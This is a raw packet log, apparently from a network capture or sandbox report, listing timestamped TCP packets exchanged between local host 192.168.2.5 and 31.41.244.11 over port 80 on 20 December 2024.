Dec 20, 2024 16:08:19.486015081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.486876965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.486922026 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.487143040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.487179995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.488064051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.488106966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.488266945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.488303900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.489442110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.489753008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.489798069 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.491162062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.491204977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.491837978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.491880894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.491983891 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.491997957 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.492018938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.492039919 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.492902994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.493442059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.493484020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.494098902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.494143009 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.494407892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.494447947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.495266914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.495307922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.495476007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.495532990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.497973919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.497987032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.498014927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.498030901 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.501585960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.501597881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.501648903 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.503479004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.503492117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.503529072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.503557920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.505389929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.505403042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.505454063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.509093046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.509107113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.509165049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.510917902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.510931969 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.510977983 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.510993004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.513745070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.514611006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.514667034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.516500950 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.516514063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.516554117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.519349098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.520229101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.520282984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.523072004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.523087025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.523144007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.524918079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.525890112 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.525945902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.528959036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.528973103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.529037952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.530863047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.530875921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.530916929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.534310102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.534323931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.534378052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.536159039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.536171913 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.536206007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.539448977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.539462090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.539518118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.543112993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.543142080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.543199062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.544084072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.544131041 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.544960022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.547818899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.547835112 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.547889948 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.551603079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.551620007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.551702976 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.553395987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.553410053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.553453922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.556202888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.556255102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.557111025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.558595896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.558656931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.559474945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.559520960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.560400963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.560421944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.560450077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.560476065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.561343908 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.561357021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.561400890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.562278986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.562290907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.562324047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.562347889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.563208103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.563232899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.563292027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.564225912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.564245939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.564258099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.564284086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.564311981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.565026045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.565066099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.565119028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.565974951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.566009998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.566023111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.566052914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.566931009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.566942930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.566979885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.566998005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.675591946 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.675677061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.675853014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.675906897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.676187992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.676230907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.676634073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.677381992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.677433968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.677597046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.677639008 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.678790092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.678834915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.678908110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.678945065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.679853916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.679975986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.680047989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.680088043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.681025028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.681076050 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.681318998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.681369066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.682262897 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.682321072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.682604074 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.682655096 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.683448076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.683502913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.683729887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.684036016 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.684617996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.684695959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.684818029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.684854984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.685872078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.685925961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.686310053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.686368942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.687043905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.687102079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.687386036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.687441111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.688261986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.688323021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.688440084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.688483000 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.692018986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.692033052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.692092896 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.695732117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.695745945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.695830107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.696710110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.696957111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.697696924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.697760105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.700640917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.700736046 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.701344967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.702305079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.702384949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.703262091 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.703588009 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.706038952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.706052065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.706082106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.706115007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.707968950 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.708013058 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.708885908 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.711636066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.711649895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.711694956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.713543892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.713939905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.714422941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.714487076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.717420101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.717433929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.717494965 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.720211029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.720284939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.720978975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.721347094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.722843885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.722857952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.722913980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.725637913 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.726592064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.726644039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.727494001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.727555037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.728430986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.728490114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.731729984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.731741905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.731791019 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.733537912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.733556986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.733601093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.736407995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.736475945 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.737319946 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.737376928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.740083933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.740098000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.740145922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.740168095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.742912054 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.742970943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.743796110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.743886948 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.744765043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.744834900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.745673895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.745735884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.748534918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.748548985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.748621941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.750845909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.750859976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.750925064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.753623962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.753635883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.753643036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.754062891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.754565001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.754576921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.754631042 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.755486012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.755510092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.755533934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.755562067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.756428003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.756441116 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.756491899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.757356882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.757369995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.757380962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.757421017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.757452011 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.758274078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.758301973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.758331060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.758354902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.759241104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.759254932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.759301901 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.760139942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.760159016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.760184050 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.760217905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.761102915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.761115074 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.761154890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.762100935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.762165070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.762932062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.762957096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.762969017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.762984991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.763009071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.763897896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.763911009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.763959885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.763991117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.764864922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.764878035 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.764928102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.765861988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.765876055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.765927076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.766848087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.766861916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.766877890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.766911030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.766952991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.767631054 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.767643929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.767688036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.767724991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.768578053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.768590927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.768634081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.769491911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.769522905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.769543886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.769579887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.867924929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.868098974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.868273020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.868482113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.868531942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.868907928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.869649887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.869715929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.869823933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.869869947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.870831966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.870887995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.871098042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.871140957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.872065067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.872107983 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.872282028 CET	80	49965	31.41.244.11	192.168.2.5
